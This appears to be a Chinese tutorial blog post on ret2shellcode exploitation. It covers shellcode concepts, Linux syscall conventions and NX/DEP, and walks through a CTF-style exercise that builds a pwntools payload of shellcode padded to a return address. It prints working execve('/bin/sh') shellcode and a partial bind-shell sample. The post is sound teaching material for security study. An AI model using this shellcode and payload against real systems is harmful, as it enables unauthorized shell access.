Ret2Shellcode和Ret2libc区别在于有没有nx保护,先来讲讲shellcode

shellcode

Shellcode 是一种小巧的、用于攻击目的的机器代码,其通常在目标系统中执行,以获得控制权或执行特定的指令。Shellcode这个名称来源于早期的攻击目标是获取系统的 shell,也就是命令行访问权限,因此通常称为“shell code”,即获取系统控制的代码。

通常情况下,shellcode是以十六进制或汇编形式编写的,它可以直接嵌入到漏洞利用程序(例如缓冲区溢出)中,并在目标系统中执行。其典型功能包括:

  1. 打开一个远程的 shell 以便攻击者可以控制目标系统。

  2. 执行特定的系统命令,比如创建用户、打开后门、删除文件等。

  3. 与远程服务器建立连接,实现远程命令的执行。

Shellcode的主要特性是小巧、精简,并且能够直接在内存中执行,因此它经常用于漏洞利用中,尤其是在缓冲区溢出攻击中。

Shellcode 的特点

  • 小巧紧凑:通常为了适应漏洞利用的场景,shellcode 需要在非常有限的空间内完成攻击,代码需要尽可能精简。

  • 位置无关:为了保证在内存中各个位置都能正常执行,shellcode 通常是位置无关的,这样它可以在任何被注入的内存位置执行。

  • 特定环境:shellcode 通常是特定于操作系统和架构的,例如 Windows、Linux、x86 或 x64,因此它必须根据目标系统的特点进行相应调整。

编写 Shellcode 的过程

  1. 汇编语言编写代码:通常先使用汇编语言编写能完成预期功能的代码。

  2. 使用汇编器和链接器:将汇编代码汇编并链接为二进制代码。

  3. 提取二进制数据:提取二进制的机器代码并进行转换,以便在利用代码中直接嵌入。

  4. 测试和优化:测试 shellcode 是否能够成功在目标环境中执行,并尽量减少 shellcode 的大小以适应漏洞利用的需求。

示例 Shellcode

以下是一个简单的 Linux 下的绑定 shell shellcode(汇编实现):

section .text
    global _start

_start:
    ; socket(AF_INET, SOCK_STREAM, 0)
    xor eax, eax
    mov al, 0x66   ; syscall number for socketcall
    xor ecx, ecx
    push ecx       ; protocol = 0
    push byte 0x1  ; type = SOCK_STREAM
    push byte 0x2  ; domain = AF_INET
    mov ecx, esp
    int 0x80

    ; bind socket to port 4444
    ; omitted for simplicity...

    ; listen and accept connection
    ; omitted for simplicity...

    ; dup2 loop to redirect stdin, stdout, stderr
    ; omitted for simplicity...

    ; execve("/bin/sh")
    push eax
    push 0x68732f2f
    push 0x6e69622f
    mov ebx, esp
    push eax
    mov edx, esp
    push ebx
    mov ecx, esp
    mov al, 0xb    ; syscall number for execve
    int 0x80

这段代码将会创建一个监听的 shell,使得攻击者能够在连接到目标系统的端口之后获得命令行控制权。

Shellcode 的应用

  1. 漏洞利用:在缓冲区溢出、格式化字符串漏洞等攻击中,攻击者常将 shellcode 作为恶意负载植入到目标程序的内存中,借助漏洞触发执行。

  2. 渗透测试:在安全测试中,渗透测试人员也会使用 shellcode 来测试目标系统的安全性。

防范措施

  • 输入验证:严格控制输入数据的长度,防止缓冲区溢出。

  • DEP/NX(数据执行保护):防止堆栈上的数据被当作代码执行,减少 shellcode 的攻击效果。

  • ASLR(地址空间布局随机化):随机化内存地址,使得攻击者难以预测 shellcode 的加载位置。

  • 禁用可疑功能:尽量限制进程调用危险的函数,减少系统被注入恶意代码的风险。

Shellcode 是非常强大的攻击工具,因此了解它的原理和防御方法是网络安全领域的重要课题。

Linux的系统调用

32 位 Linux 系统调用

在 32 位 Linux 中,系统调用的接口通常是通过 int 0x80 指令触发的。具体的过程如下:

  • EAX:存放系统调用号,决定要调用哪个系统服务。

  • EBX、ECX、EDX、ESI、EDI:存放系统调用的参数,最多支持 5 个参数(如果有更多参数,可以通过栈传递)。

  • int 0x80:使用这条指令来中断当前用户态程序,并切换到内核态来执行系统调用。

在代码中,通常会设置寄存器 EAX 来存储系统调用号,而不同的系统调用号代表了不同的操作,比如文件操作、进程控制等。在图片中,可以看到某些系统调用号的定义,比如:

  • __NR_exit 1:调用号 1 对应系统调用 exit,用于退出进程。

  • __NR_fork 2:调用号 2 对应系统调用 fork,用于创建子进程。

  • __NR_execve 11:调用号 11 对应 execve,用于执行程序。

这个过程可以通过汇编代码实现,例如执行 /bin/sh 的代码:

mov eax, 11           ; 将系统调用号 11(execve)放入 EAX 寄存器
mov ebx, shell_string ; 将指向 "/bin/sh" 的指针放入 EBX 寄存器
xor ecx, ecx          ; 将 ECX 置为 0,表示没有参数
xor edx, edx          ; 将 EDX 置为 0,表示没有环境变量
int 0x80              ; 触发系统调用

这种方式在 32 位系统中非常普遍。

64 位 Linux 系统调用

在 64 位 Linux 系统中,系统调用的实现方式与 32 位有所不同,通常通过 syscall 指令来触发系统调用。

  • RAX:存放系统调用号。

  • RDI、RSI、RDX、R10、R8、R9:依次存放系统调用的前 6 个参数。

  • syscall:类似于 32 位中的 int 0x80,但它更高效,并且能够使用 64 位寄存器。

例如,64 位系统中 execve 系统调用的汇编代码可能如下:

mov rax, 59           ; 系统调用号 59 对应 execve
mov rdi, shell_string ; 将 "/bin/sh" 的指针存入 RDI
xor rsi, rsi          ; 将 RSI 置为 0,表示没有参数
xor rdx, rdx          ; 将 RDX 置为 0,表示没有环境变量
syscall               ; 触发系统调用

区别总结

  1. 调用指令

  • 32 位使用 int 0x80

  • 64 位使用 syscall

  1. 参数传递

  • 32 位使用寄存器 EBX、ECX、EDX、ESI、EDI 等,最多可以传递 5 个参数。

  • 64 位使用 RDI、RSI、RDX、R10、R8、R9,最多可以传递 6 个参数。

  1. 寄存器大小

  • 32 位使用 32 位寄存器,例如 EAX、EBX。

  • 64 位使用 64 位寄存器,例如 RAX、RDI。

由于 64 位系统有更多的寄存器和更大的寄存器宽度,因此可以更加高效地处理系统调用。

如何写Shellcode

再补充一下NX保护(又称DEP保护):简单来说就是可写的不可执行,可执行的不可写,这就对于我们注入shellcode就很麻烦了,如果打开了NX保护就只能Ret2Libc

举个例子

  1. 检查保护checksec

  1. 然后查找system函数 objdump -d ret2shellcode2 | grep system,发现也没有, 我们只能disass main,然后去找有拷贝命令的

  1. 然后进去gdb查看要拷贝的那个地址所在的段

gdb:readelf

shell:readelf -S ret2shellcode2(注意大小写,一定是大S)

  1. 查看这个段 有没有运行权限

gdb在main下个断点,然后让程序跑起来,再使用vmmap命令查看段的权限,发现是有x权限

  1. 查看溢出点(pattern 或者 cyclic)

  2. 计算偏移

  3. 写exp

shellcode = asm(shellcraft.sh())

  • 使用 pwnshellcraft 工具生成一个 shellcode(即汇编代码),通过 shellcraft.sh() 生成一个可执行的 /bin/sh shell 的汇编代码。asm() 方法将汇编代码转换为机器码。

payload = shellcode.ljust(112, 'a') + p32(0x804a080)

  • shellcode.ljust(112, 'a') 使生成的 shellcode 长度达到 112 字节,不足的部分用字符 'a' 填充。p32(0x804a080)0x804a080(目标地址,可能是程序的返回地址或者函数指针)转换为 32 位的格式并附加到载荷的末尾。

下面是一段经典的shellcode

push 0x68          ; 'h'
push 0x732f2f2f    ; '///s'
push 0x6e69622f    ; '/bin'
mov ebx, esp       ; 将栈顶的地址指向 ebx,ebx 用于 execve 的第一个参数 (filename)
xor ecx, ecx       ; ecx 置为 0,用于 argv
xor edx, edx       ; edx 置为 0,用于 envp
push 11            ; 11 是 execve 系统调用号
pop eax            ; eax 设置为 11 (execve)
int 0x80           ; 调用中断,执行系统调用

逐行讲解如下:

1. push 0x68

  • 0x68(即字符 'h' 的 ASCII 值)压入栈。这是为了构建 /bin/sh 字符串的一部分。

2. push 0x732f2f2f

  • 0x732f2f2f(即字符串 ///s,其中 // 是两个斜杠,s 是 's' 的 ASCII)压入栈。这是为了构建 /bin/sh 路径。

3. push 0x6e69622f

  • 0x6e69622f(即字符串 /bin,'n'、'i'、'b'、'/' 的 ASCII 值)压入栈。这是为了构建完整的 /bin/sh 字符串。栈从高地址到低地址压入数据,最终构成的字符串会是 /bin/sh

4. mov ebx, esp

  • esp(栈指针)中的地址赋值给 ebx,也就是将 /bin/sh 的地址放入 ebx 中。ebx 将作为 execve 系统调用中的第一个参数,即 filename

5. xor ecx, ecx

  • ecx 置为 0。ecx 用于 execve 系统调用中的第二个参数,即 argv,传入 NULL

6. xor edx, edx

  • edx 置为 0。edx 用于 execve 系统调用中的第三个参数,即 envp,传入 NULL

7. push 11

  • 11 压入栈,这是 execve 系统调用的系统调用号。在 Linux x86 系统中,execve 的 syscall 编号是 11

8. pop eax

  • 将栈顶的值(即 11)弹出到 eax,这将 eax 设置为 execve 系统调用号。

9. int 0x80

  • 触发中断 0x80,这是在 Linux 中发起系统调用的指令。此时,eax 中的值是 11,代表 execve,而 ebxecxedx 已经分别设置为 /bin/sh 的地址、NULL 参数和 NULL 环境变量。